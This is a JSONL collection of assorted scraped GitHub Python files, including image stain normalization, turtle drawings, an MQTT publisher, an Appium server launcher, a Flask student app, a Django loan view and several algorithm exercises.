+{"seq_id":"41938547789","text":"import staintools, os\nfrom PIL import Image\n\ndef getFileName(fileName):\n    lenFIleName = len(fileName)\n    nameEnd = 0\n    nameStart = 0\n    isDot=False\n    for i in reversed(range(lenFIleName)):\n        if fileName[i] == '.':\n            if isDot:\n                continue\n            else:\n                nameEnd = i\n                isDot=True\n        if fileName[i] == '/':\n            nameStart = i + 1\n            break\n    return fileName[nameStart:nameEnd]\n\n\ntarget = staintools.read_image(\"tissue.png\")\n\n\nnormalizer = staintools.ReinhardColorNormalizer()\nnormalizer.fit(target)\n\n#staintools.plot_image(transformed)\n\n\nsrcFolder='/home/jajman/validation-TCGAColonMSI/normal/'\ndstFolder ='/home/jajman/validation-TCGAColonMSI_CN/normal/'\nfiles = os.listdir(srcFolder)\n\nfor i in files:\n    to_transform = staintools.read_image(srcFolder+i)\n    transformed = normalizer.transform(to_transform)\n    img = Image.fromarray(transformed)\n    img.save(dstFolder+i)\n","repo_name":"jajman/ColonMSI","sub_path":"WSI_preparation/colorNormalize.py","file_name":"colorNormalize.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"14045082444","text":"import turtle\n\ndef star():\n\t\n\tstarTurt = turtle.Turtle()\n\tstarTurt.penup()\n\tstarTurt.left(90)\n\tstarTurt.forward(100)\n\tstarTurt.right(180 - 13.107718)\n\t# now the turtle is in the starting position, the same action can be repeated to draw the star, which is done with this for loop\n\tfor x in range(1,6):\n\t\tstarTurt.pendown()\n\t\tstarTurt.forward(77.755373)\n\t\tstarTurt.left(261.78564 - 180)\n\t\tstarTurt.forward(77.755373)\n\t\tstarTurt.right(333.784564 - 180)\n#star()\n\ndef circle(): #each circle starts with the turtle rotated 72 degrees so that each of the five circles overlaps in the middle and touches the tips of the star\n\tcir = turtle.Turtle()\n\tcir.pencolor(\"red\")\n\tcir.circle(50)\n\tcir.right(72)\n\tcir.pencolor(\"blue\")\n\tcir.circle(50)\n\tcir.right(72)\n\tcir.pencolor(\"green\")\n\tcir.circle(50)\n\tcir.right(72)\n\tcir.pencolor(\"purple\")\n\tcir.circle(50)\n\tcir.right(72)\n\tcir.pencolor(\"orange\")\n\tcir.circle(50)\t\n#circle()\n\t\nw =800 # declare width of landscape\nh =800 # declare height of landscape\n\ndef landFunc():#draws a yellow box on the bottom half of the landscape\n\tland = turtle.Turtle()\n\tland.fillcolor(\"yellow\")\n\tland.begin_fill()\n\tland.pencolor(\"yellow\")\n\tland.forward(w/2)\n\tland.right(90)\n\tland.forward(h/2)\n\tland.right(90)\n\tland.forward(w)\n\tland.right(90)\n\tland.forward(h/2)\n\tland.right(90)\n\tland.forward(w/2)\n\tland.end_fill()\n\t\ndef skyFunc(): #draws a blue box on the top half of the landscape\n\tsky = turtle.Turtle()\n\tsky.fillcolor(\"blue\")\n\tsky.begin_fill()\n\tsky.pencolor(\"blue\")\n\tsky.forward(w/2)\n\tsky.left(90)\n\tsky.forward(h/2)\n\tsky.left(90)\n\tsky.forward(w)\n\tsky.left(90)\n\tsky.forward(h/2)\n\tsky.left(90)\n\tsky.forward(w/2)\n\tsky.end_fill()\n\ndef cactusFunc(): #draws a cactus\n\tcactus = turtle.Turtle()\n\tcactus.fillcolor(\"green\")\n\tcactus.begin_fill()\n\tcactus.pencolor(\"green\")\n\tcactus.forward(25)\n\tcactus.left(90)\n\tcactus.forward(100)\n\tcactus.right(90)\n\tcactus.forward(50)\n\tcactus.left(90)\n\tcactus.forward(50)\n\tcactus.left(90)\n\tcactus.forward(25)\n\tcactus.left(90)\n\tcactus.forward(25)\n\tcactus.right(90)\n\tcactus.forward(25)\n\tcactus.right(90)\n\tcactus.forward(50)\n\tcactus.left(90)\n\tcactus.forward(50)\n\tcactus.left(90)\n\tcactus.forward(50)\n\tcactus.right(90)\n\tcactus.forward(25)\n\tcactus.right(90)\n\tcactus.forward(25)\n\tcactus.left(90)\n\tcactus.forward(25)\n\tcactus.left(90)\n\tcactus.forward(50)\n\tcactus.left(90)\n\tcactus.forward(50)\n\tcactus.right(90)\n\tcactus.forward(100)\n\tcactus.left(90)\n\tcactus.forward(25)\n\tcactus.end_fill()\n\t\ndef desert():\n\tlandFunc()\n\tskyFunc()\n\tcactusFunc()\n\n#desert()\n\t\n\t\t\t\n","repo_name":"Worcester-Preparatory-School-Comp-Sci/turtle-graphics-2-MaxHuber88","sub_path":"Turtle #2.py","file_name":"Turtle #2.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18566501693","text":"import time\nfrom core.platform_driver import PlatformDriver\n\nclass DriverPlatform(PlatformDriver):\n    \"\"\"\n    \"\"\"\n\n    ###########################################################################\n    ###########################################################################\n\n    def _PZA_DRV_config(self):\n        \"\"\"From PlatformDriver\n        \"\"\"\n        return {\n            \"name\": \"py.platform\",\n            \"description\": \"Platform driver for python platform\",\n            \"info\": {\n                \"type\": \"platform\",\n                \"version\": \"0.0\"\n            }\n        }\n\n    ###########################################################################\n    ###########################################################################\n\n    async def _PZA_DRV_loop_init(self, loop, tree):\n        \"\"\"From PlatformDriver\n        \"\"\"\n        # Update the number of managed interface\n        await self._update_attribute(\"info\", \"interfaces\", self.platform.get_interface_number())\n\n        await self._update_attributes_from_dict({\n            \"info\": {\n                \"number_of_devices\": self.platform.get_number_of_device(),\n            }\n        })\n\n        # Tell the platform that the init state end sucessfuly\n        self._PZA_DRV_init_success()\n\n","repo_name":"Panduza/panduza-py","sub_path":"platform/panduza_platform/drivers/platform/drv_platform.py","file_name":"drv_platform.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"}
+{"seq_id":"22301539717","text":"matrix1=[\n    [1,2,3],\n    [4,5,6],\n    [7,8,9]\n]\nmatrix2=[\n    [1,2,3],\n    [4,5,6],\n    [7,8,9]\n]\nmatrix3=[\n[0,0,0],\n[0,0,0],\n[0,0,0]\n\n]\n\n\n\nmul=0\ns=0\ne=0\nfor val1 in range(len(matrix1)):\n    \n    for val2 in range(len(matrix2)):\n        mul=0\n        for val3 in range(len(matrix1)):\n             mul=mul+matrix1[val1][val3]*matrix2[val3][val2]\n             \n             #matrix3[val1][val3]=mul\n             matrix3[val1][val2]=mul\n        #print(mul)\n        \nfor i in matrix3:\n    print(i)\n","repo_name":"raktimbar100/PythonBootcamp","sub_path":"MathMul.py","file_name":"MathMul.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6564434541","text":"'''\r\nCreated on Apr 11, 2018\r\n@author: andrewstito\r\n'''\r\n\r\nimport paho.mqtt.client as mqtt\r\nimport time\r\n\r\nconnectionFlag = False    \r\n\r\n    \r\ndef on_connect(client, userdata, flags, rc):\r\n    global connectionFlag\r\n    connectionFlag = True\r\n    print(\"OK. Connected with result code \" + str(rc))\r\n\r\n\r\ndef on_message(client, userdata, message):\r\n    print(message.topic + \" \" + str(message.payload) + \" OK. Payload received\")\r\n\r\n\r\ndef on_disconnect(client, userdata, rc):\r\n    if rc != 0:\r\n        print(\"NOK. Failed to Disconnect\")\r\n\r\n\r\ndef on_subscribe(client, userdata, mid, granted_qos):\r\n    print (\"Client\" + client \r\n               + \"User data\" + userdata\r\n               + \"mid\" + mid\r\n               + \"granted_qos\" + granted_qos)\r\n\r\n    \r\ndef on_publish(client, userdata, mid):\r\n    print (\"Client\" + client \r\n               + \"User data\" + userdata\r\n               + \"mid\" + mid)\r\n        \r\n   \r\ndef mqttConnect(topic, payload):\r\n            \r\n    client = mqtt.Client()\r\n    client.on_connect = on_connect\r\n    client.on_message = on_message\r\n    \r\n    host = 'iot.eclipse.org'\r\n    port = 1883\r\n    \r\n    client.connect(host, port, keepalive=60)\r\n \r\n    client.loop_start()\r\n    time.sleep(1)    \r\n    client.publish(topic, payload, 2)\r\n    print (\" Published : Payload \" + payload)\r\n   \r\n    client.loop_stop()\r\n\r\n    \r\n","repo_name":"andrewstito/SHoLS-IoT","sub_path":"MqttConnector.py","file_name":"MqttConnector.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5081789933","text":"import sys\nimport heapq\nn = int(sys.stdin.readline())\narr = []\nfor i in range(n):\n    a = list(map(int, sys.stdin.readline().split()))\n    arr.append([a[0], a[2], a[1]])  # 건물의 왼쪽좌표, 오른쪽좌표, 높이 순으로 arr에 저장\narr.sort()  # 왼쪽좌표 순으로 sort()\nheap = []   # 현재 최대 height를 확인하기 위해서 heap구조를 사용, heap에 저장되어있다는 것은 어떤걸 의미하는가?\nans = []    # 나중에 출력될 답들을 미리 저장해놓는 공간\ni = 0\nn = len(arr)  # n은 arr의 길이\nwhile i < n or heap:  # i가 n보다 작거나(arr의 모든것을 훑었거나) heap이 존재한다면, 실행\n    # heap이 비었을 때 혹은 최대 높이의 오른쪽 좌표가 arr[i]의 왼쪽 좌표보다 클 때 heappush > 겹쳐있으므로 현재 어떤것이 가장큰지 heap에서 확인해야함\n    if not heap or i < n and arr[i][0] <= -heap[0][1]:\n        temp = arr[i][0]  # temp에 현재 arr 왼쪽좌표를 저장해놓는다.\n        # i < n이고 현재 arr 왼쪽좌표가 temp일때(처음에는 무조건 실행, i가 증가하면 넘어감(값이 같지 않는 한))\n        while i < n and arr[i][0] == temp:\n            # heap에는 높이,오른쪽좌표가 maxheap형태로 넣어진다.\n            heapq.heappush(heap, (-arr[i][2], -arr[i][1]))\n            i += 1\n    # arr[i]의 왼쪽좌표가 heap[0]의 오른쪽 좌표보다 클 때\n    else:\n        # temp에는 현재 최대높이건물의 오른쪽좌표가 들어간다. 왜? 얘보다 작거나 같으면 heappop해주려고\n        temp = -heap[0][1]\n        # heap이 존재하고 while문이 돌 동안 그 전의 heap들의 건물의 오른쪽좌표가 temp보다 작거나 같다면 다 빼준다.\n        while heap and -heap[0][1] <= temp:\n            heapq.heappop(heap)\n    if heap:\n        height = -heap[0][0]      # heap이 있다면 최대높이건물의 높이를 저장한다.\n    else:\n        height = 0                # heap이 없다면 height를 0으로 놓는다.\n    # height와 방금 저장한 ans와 다르다면! ans = [[1,11]]\n    if not ans or height != ans[-1][1]:\n        # ans에 temp(왼쪽이든 오른쪽이든 변화하는 값),height를 저장한다.\n        ans.append([temp, height])\nfor a in ans:\n    print(*a, end=' ')\n","repo_name":"huckjoo/swjungle_alg","sub_path":"week02/test3_1933.py","file_name":"test3_1933.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72318655737","text":"#coding=utf-8\nfrom util.doc_cmd  import Doscmd\nfrom util.port import Port\nimport threading\nimport multiprocessing\nfrom util.write_user_command import WriteUserCommand\nimport time\nclass Server:\n    def __init__(self):\n\n        #获取设备信息\n        self.dos = Doscmd()\n        self.device_list = self.get_device()\n        self.write_file = WriteUserCommand()\n\n    def get_device(self):\n\n        #存储设备信息\n        device_list = []\n\n        result_list = self.dos.execute_cmd_result('/Users/kang/Library/Android/sdk/platform-tools/adb devices')\n\n        if len(result_list)>=2:\n            for i in result_list:\n                if 'List' in i:\n                    continue\n                device_info = i.split('\\t')\n                if device_info[1] == 'device':\n                    device_list.append(device_info[0])\n            return device_list\n        else:\n            return None\n\n    def create_port_list(self,startPort):\n        port_list = []\n        port = Port()\n        port_list = port.create_port_list(startPort,self.device_list)\n        return port_list\n\n    #封装生成启动命令行函数\n    def create_command_list(self,i):\n\n        #appium -p 4700 -bp 4701 -U 127.0.0.1:21503\n        command_list = []\n        appium_port_list = self.create_port_list(4700)\n        bootstrap_port_list = self.create_port_list(4900)\n        device_list = self.device_list\n        command = 'appium -p '+str(appium_port_list[i])+' -bp '+str(bootstrap_port_list[i])+' -U '+device_list[i]+' --no-reset --session-override'\n        command_list.append(command)\n        self.write_file.write_data(i,str(bootstrap_port_list[i]),str(device_list[i]),str(appium_port_list[i]))\n        return command_list\n\n    #启动命令行\n    def start_server(self,i):\n        #启动服务\n       self.start_list = self.create_command_list(i)\n       print(self.start_list)\n       self.dos.execute_cmd(self.start_list[0])\n\n    #杀死appium服务\n    def kill_server(self):\n\n        server_list = self.dos.execute_cmd_result('ps -ef | grep node | grep -v grep')\n        if len(server_list)>0:\n            self.dos.execute_cmd('killall -9 node')\n\n    #启动\n    def main(self):\n        # 一进来先杀进程再清楚yaml文件\n        self.kill_server()\n        thread_list = []\n        self.write_file.clear_data()\n        for i in range(len(self.device_list)):\n            appium_start = multiprocessing.Process(target=self.start_server,args=(i,))\n            thread_list.append(appium_start)\n\n        for j in thread_list:\n            j.start()\n        time.sleep(25)\n\n\n\nif __name__ == '__main__':\n    server = Server()\n    print(server.main())\n\n","repo_name":"kangkang94/Appuim_py","sub_path":"util/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"}
+{"seq_id":"16582082992","text":"n, m = map(int, input().split())\n\ngraph = [[1e9]*n for _ in range(n)]\n\n# b가 0 -> 일방통행, 1 -> 양방향\n# 비용 그래프\nfor _ in range(m):\n    u, v, b = map(int, input().split())\n    u -= 1\n    v -= 1\n\n    # u -> v 는 무조건 갈 수 있음 비용 0\n    # 일방통행 비용 1 양방향통행 비용 0\n    graph[u][v] = 0\n    graph[v][u] = 1 if b == 0 else 0\n\nfor k in range(n):\n    for i in range(n):\n        for j in range(n):\n            if i == j :\n                 graph[i][j] = 0\n            elif graph[i][j] > graph[i][k] + graph[k][j]:\n                 graph[i][j] = graph[i][k] + graph[k][j]\n# for z in graph:\n#     print(z)\n\nk = int(input())\n\nfor _ in range(k):\n    s, e = map(int, input().split())\n    s -= 1\n    e -= 1\n    if graph[s][e] == 1e9 or graph[s][e] == 0:\n        print(0)\n    else:\n        print(graph[s][e])","repo_name":"gumsu/BOJ","sub_path":"11562_백양로_브레이크.py","file_name":"11562_백양로_브레이크.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"927229866","text":"\"\"\" Script to list all the LLRs under the 'REQUIREMENTS'\nsection of the Test Case text files.\n\nNOTE:\n    Any Test Case file that does not have requirements,\n    or if the requirements are improperly named, the\n    script will print out a notice of this.\n\nTO RUN:\n    Run the script using python 2.7 and select the root directory from\n    the pop up window. The script will traverse the root directory and\n    all subdirectories beneath it to check the LLR requirements.\n\nOUTOUT:\n    The results will be saved in two files which will contain the same\n    results but in different file formats. The files are 'results.log'\n    and 'results.csv'\n\"\"\"\n\n__author__  = \"Zachary Hill\"\n__email__   = \"zachary.hill@psware.com\"\n\nimport os # needed for the os.walk function\nimport re\nimport sys\nimport csv\n\nfrom Tkinter import Tk\nfrom tkFileDialog import askdirectory\n\nRES_FILE = './results.log'\nCSV_FILE = './results.csv'\n\ndef find_require_ln(fileName):\n    \"\"\"Method to find the line number of the location of 'REQUIREMENTS'\n    in the text documents\n\n    If no 'REQUIREMENTS' is found will return -1, otherwise returns line number\n    \"\"\"\n\n    with open(fileName, 'r') as file:\n        for num, line in enumerate(file, 1):\n            if 'REQUIREMENTS' in line.upper():\n                return num\n    return -1 # if here no requirements found\n\ndef find_requirements(fileName, fullFileName):\n    \"\"\"Method to list out the requirements covered by\n    a file.\n    \"\"\"\n\n    # Find requirements section\n    require_ln = find_require_ln(fullFileName)\n    if require_ln == -1:\n        print('ERROR: Could not find LLR requirements in file %s' % fileName)\n\n    # Read in data\n    with open(fullFileName, 'r') as f:\n        data = f.read().splitlines(True)\n\n    # Find all requirements\n    print('\\t%s' % fileName)\n    requires = []\n    k = 0\n    checked_second = False\n    while(True):\n        # Search all lines under 'REQUIREMENTS' section until out of requirements\n        m1 = re.search('IMMC_LLR_[0-9]+', str(data[require_ln + k]))\n        if m1:\n            print('\\t\\t%s' % m1.group(0))\n            if (len(requires) != 0):\n                requires.append('\\n' + m1.group(0))\n            else:\n                requires.append(m1.group(0))\n            k = k + 1\n        else:\n            # Found no more requirements\n            # if counter is still zero then there are no requirements\n            # check another line down because some may have empty line first\n            if k == 1 and checked_second:\n                print('\\t\\tNo or improper requirements')\n                break\n            elif k == 0 and not checked_second:\n                k = k + 1\n                checked_second = True\n                continue\n            break\n\n    s = ''.join(requires)\n\n    # write the requirements to the csv file\n    with open(CSV_FILE, 'ab') as csvfile:\n        req_writer = csv.writer(csvfile, delimiter=',')\n        req_writer.writerow([fileName, s])\n\n\ndef main():\n    \"\"\" Script to list all the LLRs under the 'REQUIREMENTS'\n    section of the Test Case text files.\n    \"\"\"\n\n    # Redirect output to a file\n    sys.stdout = open(RES_FILE, \"w\")\n\n    Tk().withdraw() # we don't want a full GUI, so keep the root window from appearing\n    rootDir = askdirectory() # show an \"Open\" dialog box and return the path to the selected file\n    print('Head of tree travesal selected %s' % rootDir)\n\n    # Write Column names\n    with open(CSV_FILE, 'wb') as csvfile:\n        req_writer = csv.writer(csvfile, delimiter=',')\n        req_writer.writerow(['Test Case', 'Requirements Covered'])\n\n    # Traverse the tree\n    for dirName, subdirList, fileList in os.walk(rootDir):\n        # Ignore hidden files and directories\n        fileList = [f for f in fileList if not f[0] == '.']\n        subdirList[:] = [d for d in subdirList if not d[0] == '.']\n\n        print('')\n        print('Found directory: %s' % dirName)\n        for file in fileList:\n            if file.endswith('.txt') and file.startswith('TC'):\n                find_requirements(file, os.path.join(dirName, file)) # needs absolute path\n\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"zahillmtu/tc_llr_listing","sub_path":"tc_llr_listing.py","file_name":"tc_llr_listing.py","file_ext":"py","file_size_in_byte":4120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"71502663416","text":"__authors__ = (\"Renaud Balu\", \"LGDA\")\r\n__contact__ = \"renaud_balu@hotmail.com\"\r\n__copyright__ = \"Free and Open-source\"\r\n__date__ = \"2022-08-28\"\r\n__version__ = \"1.0.0\"\r\n\r\nfrom controleur.recherche.AbstractRechercheControleur import AbstractRechercheControleur\r\nfrom controleur.recherche.RechercheYoutubeControleur import RechercheYoutubeControleur\r\nfrom modele.JukeBoxModele import TypeRecherche, JukeBoxModele\r\nfrom modele.recherche.AbstractRechercheModele import AbstractRechercheModele\r\nfrom vue.recherche.RechercheSpotifyVue import RechercheSpotifyVue\r\nfrom vue.recherche.RechercheYoutubeVue import RechercheYoutubeVue\r\n\r\n\r\nclass GenerateurRecherche:\r\n\r\n    def generer(self, juke_box_modele: JukeBoxModele) -> AbstractRechercheControleur:\r\n        if juke_box_modele.type_recherche == TypeRecherche.YOUTUBE:\r\n            return self.__fabriquer_recherche_youtube(juke_box_modele)\r\n        elif juke_box_modele.type_recherche == TypeRecherche.SPOTIFY:\r\n            return self.__fabriquer_recherche_spotify(juke_box_modele)\r\n        else:\r\n            raise Exception(f\"Type de recherche {juke_box_modele.type_recherche} inconnu\")\r\n\r\n    @staticmethod\r\n    def __fabriquer_recherche_youtube(juke_box_modele: JukeBoxModele) -> AbstractRechercheControleur:\r\n        recherche_modele = AbstractRechercheModele()\r\n        recherche_controleur = RechercheYoutubeControleur(juke_box_modele, recherche_modele)\r\n        recherche_vue = RechercheYoutubeVue(recherche_controleur, recherche_modele)\r\n        recherche_controleur.enregistrer_vue(recherche_vue)\r\n        return recherche_controleur\r\n\r\n    @staticmethod\r\n    def __fabriquer_recherche_spotify(juke_box_modele: JukeBoxModele) -> AbstractRechercheControleur:\r\n        recherche_modele = AbstractRechercheModele()\r\n        recherche_controleur = AbstractRechercheControleur(juke_box_modele, recherche_modele)\r\n        recherche_vue = RechercheSpotifyVue(recherche_controleur, recherche_modele)\r\n        recherche_controleur.enregistrer_vue(recherche_vue)\r\n        return recherche_controleur\r\n","repo_name":"legeniedesalpages/minitel-jukebox","sub_path":"src/service/recherche/GenerateurRecherche.py","file_name":"GenerateurRecherche.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37630493704","text":"from django.contrib import admin\r\nfrom django.urls import path, include\r\n# from .views import view_stud_info,view_admission,view_feedback,view_marks\r\nfrom home import views\r\n# from django.conf.urls.defaults import *\r\n\r\nurlpatterns = [\r\n    \r\n    path('student/',views.view_stud_info,name=\"student\"),\r\n    path('marks/',views.view_marks,name=\"marks\"),\r\n    path('admission/',views.view_admission,name=\"admission\"),\r\n    path('feedback/',views.view_feedback,name=\"feedback\"),\r\n    path('view_data/', views.view_data ,name= 'view_data'),\r\n    path('',views.index,name=\"index\") ,\r\n\r\n]\r\n","repo_name":"Gunwant35/Django-Project","sub_path":"king/home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"74552979574","text":"import sys\n\nsys.stdin = open('input.txt', 'r')\n\nT = int(input())\n\nfor t in range(1, T+1):\n    code = input()\n    result = -1\n    stack = [0]*100\n    top = -1\n    l_code = len(code)\n\n    Info = [-1] * 128\n    Info[ord(')')] = '('\n    Info[ord('}')] = '{'\n\n    count= 0\n\n    for c in range(l_code):\n        if code[c] == '{'  or code[c]=='(':\n            top += 1\n            stack[top] = code[c]\n\n        elif stack[top] == Info[ord(code[c])]: #\n            stack.pop()\n            top -= 1\n\n        elif not stack[top]:\n            if code[c] == ')' or code[c] == '}':\n                count = 1\n                break\n\n        elif code[c] == ')' or code[c] == '}':\n            if stack[top] != Info[ord(code[c])]:\n                count = 1\n                break\n\n\n    if top != -1 or count == 1:\n        result = 0\n\n    else:\n        result = 1\n    print(f'#{t} {result}')\n","repo_name":"hyunwoo-song/TOT","sub_path":"algorithm/day06/4866.py","file_name":"4866.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23090365831","text":"\"\"\"Methods to be used by adjacent modules\"\"\"\nfrom typing import AnyStr\n\nfrom slack import WebClient\nfrom slack.errors import SlackApiError\n\n\ndef send_response(slack_client: WebClient,\n                  channel: AnyStr = \"ideas\",\n                  response: AnyStr = None) -> None:\n    \"\"\"\n    This method takes a string as input\n    and sends the items to a specified channel\n    :param slack_client: WebClient\n    :param channel: Channel to send the data to a specified channel\n    :param response: List of items\n    :return: None\n    \"\"\"\n    try:\n        slack_client.chat_postMessage(channel=channel, text=response)\n    except SlackApiError:\n        raise ConnectionError(\"Invalid slack client URL, check config\")\n","repo_name":"amanjaiswalofficial/Natalie","sub_path":"app/parsers_scrapes/scrapes/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38245586594","text":"from flask import Flask,render_template,request,redirect\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///studentdb.db'\ndb = SQLAlchemy(app)\n\nclass Student(db.Model):\n    id = db.Column(db.Integer, primary_key = True)\n    name = db.Column(db.String(100), nullable = False)\n    dept = db.Column(db.String(100), nullable = False)\n\n    def __repr__(self):\n        return \"Block Post\" +str(self.id) +\"His name is \"+ self.name\n\n@app.route('/')\ndef index():\n      return render_template('index.html')\n\n\n@app.route('/posts', methods = [\"GET\", \"POST\"])\ndef posts():\n    if request.method == \"POST\":\n        stu_name = request.form['name']\n        stu_dept = request.form['class']\n        new_stu = Student(name = stu_name, dept = stu_dept)\n        db.session.add(new_stu)\n        db.session.commit()\n        return redirect('/posts')\n    else:  \n        details = Student.query.all()\n        return render_template('posts.html', students = details)\n\n\n\n@app.route('/posts/delete/<int:id>')\ndef delete(id):\n    post = Student.query.get_or_404(id)\n    db.session.delete(post)\n    db.session.commit()\n    return redirect('/posts')\n\n@app.route('/hello/<string:name>')\ndef hello(name):\n    return \"Hello,\" + name\n\n@app.route('/getMethod', methods = ['GET'])\ndef get_req():\n    return \"Hello Get Method\"    \n\nif __name__ == \"__main__\":\n    app.run(debug=True);    ","repo_name":"KannanPalani57/100DaysOfCode","sub_path":"Day - 80/simple_flask_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"3977606562","text":"\nimport logging\nfrom datetime import datetime\n\nfrom django.db.models import Q\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.shortcuts import get_object_or_404\nfrom django.views.generic import TemplateView\n\nfrom cajas.users.models import Partner, Employee, DailySquareUnits\nfrom cajas.general_config.models.exchange import Exchange\nfrom cajas.loans.models.loan import Loan, LoanType\nfrom cajas.office.models.officeCountry import OfficeCountry\nfrom cajas.webclient.views.utils import get_president_user\n\nfrom .utils import get_object_or_none, is_secretary, is_admin_senior\n\npresident = get_president_user()\nUser = get_user_model()\nlogger = logging.getLogger(__name__)\n\n\nclass LoanList(LoginRequiredMixin, TemplateView):\n    \"\"\"\n    \"\"\"\n\n    login_url = '/accounts/login/'\n    redirect_field_name = 'redirect_to'\n    template_name = 'webclient/loan_list.html'\n\n    def get_context_data(self, **kwargs):\n        context = super(LoanList, self).get_context_data(**kwargs)\n        slug = self.kwargs['slug']\n        office = get_object_or_404(OfficeCountry, slug=slug)\n        try:\n            employee = Employee.objects.get(\n                Q(user=self.request.user) & Q(office_country=office))\n        except Employee.DoesNotExist:\n            employee = None\n        try:\n            group = get_object_or_none(DailySquareUnits, employee=employee, employee__oficce_country=office)\n        except:\n            group = None\n\n        if self.request.user.is_superuser or is_secretary(self.request.user, office) or \\\n            is_admin_senior(self.request.user, office):\n            context['loans'] = Loan.objects.select_related(\n                'provider', 'provider__user', 'lender', 'office', 'office__country',\n            ).filter(office=office)\n            context['partners'] = Partner.objects.select_related(\n                'user', 'office', 'office__country'\n            ).filter(office=office, is_active=True)\n            context['employees'] = Employee.objects.select_related(\n                'user', 'charge'\n            ).filter(\n                Q(user__is_active=True) &\n                (Q(office_country=office) | Q(office=office.office))\n            )\n            now = datetime.now()\n            context['exchange'] = get_object_or_none(\n                Exchange,\n                currency=office.country.currency,\n                month__month=now.month,\n            )\n        else:\n            loans_list = list()\n            if employee and group and self.request.user.groups.filter(name='Administrador de Grupo').exists():\n                units = group.units.filter(Q(partner__office=office) |\n                                           (Q(partner__user=president) &\n                                            (Q(collector__related_employee__office_country=office) |\n                                             Q(collector__related_employee__office=office.office) |\n                                             Q(supervisor__related_employee__office_country=office) |\n                                             Q(supervisor__related_employee__office=office.office)\n                                             ))).distinct()\n                for u in units:\n                    loans = Loan.objects.filter(\n                        office=office,\n                        lender=u.partner.user,\n                    )\n                    for loan in loans:\n                        if loan not in loans_list:\n                            loans_list.append(loan)\n            elif employee and employee.user.groups.filter(name='Administrador de Grupo S.C').exists():\n                loans = Loan.objects.filter(office=office, lender=self.request.user)\n                partner = Partner.objects.get(office=office, user=self.request.user)\n                for l in loans:\n                    if l not in loans_list:\n                        loans_list.append(l)\n                mini_partners = Partner.objects.filter(direct_partner=partner)\n                for mini_partner in mini_partners:\n                    loans = Loan.objects.filter(\n                        office=office,\n                        lender=mini_partner.user,\n                        loan_type=LoanType.SOCIO_DIRECTO\n                    )\n                    for loan in loans:\n                        if loan not in loans_list:\n                            loans_list.append(loan)\n                context['loans'] = loans_list\n            if self.request.user.groups.filter(name='Socios').exists():\n                loans = Loan.objects.filter(office=office, lender=self.request.user)\n                partner = Partner.objects.get(office=office, user=self.request.user)\n                for l in loans:\n                    if l not in loans_list:\n                        loans_list.append(l)\n                mini_partners = Partner.objects.filter(direct_partner=partner)\n                for mini_partner in mini_partners:\n                    loans = Loan.objects.filter(\n                        office=office,\n                        lender=mini_partner.user,\n                        loan_type=LoanType.SOCIO_DIRECTO\n                    )\n                    for loan in loans:\n                        if loan not in loans_list:\n                            loans_list.append(loan)\n                context['loans'] = loans_list\n            else:\n                context['loans'] = Loan.objects.filter(office=office, lender=self.request.user)\n        context['office'] = office\n        return context\n","repo_name":"dmontoya1/cajas","sub_path":"cajas/webclient/views/loan_list.py","file_name":"loan_list.py","file_ext":"py","file_size_in_byte":5547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3006002771","text":"# 해시\n\n# 문제를 단순화하기 -> 경우의 수로 나누기!!!\nfrom collections import defaultdict\n\ndef solution(clothes):\n    answer = []\n    c_dict = defaultdict(list)\n    \n    for ele in clothes: # {'headgear': ['yellow_hat', 'green_turban'], 'eyewear': ['blue_sunglasses']}\n        c_dict[ele[1]].append(ele[0])\n    \n    tmp = 1\n    for c in c_dict:\n        tmp *= (len(c_dict[c]) + 1)\n    answer=tmp-1\n    \n    return answer","repo_name":"shyjnnn/2022-codingtest-study","sub_path":"jiyoung풀이/prog_위장.py","file_name":"prog_위장.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
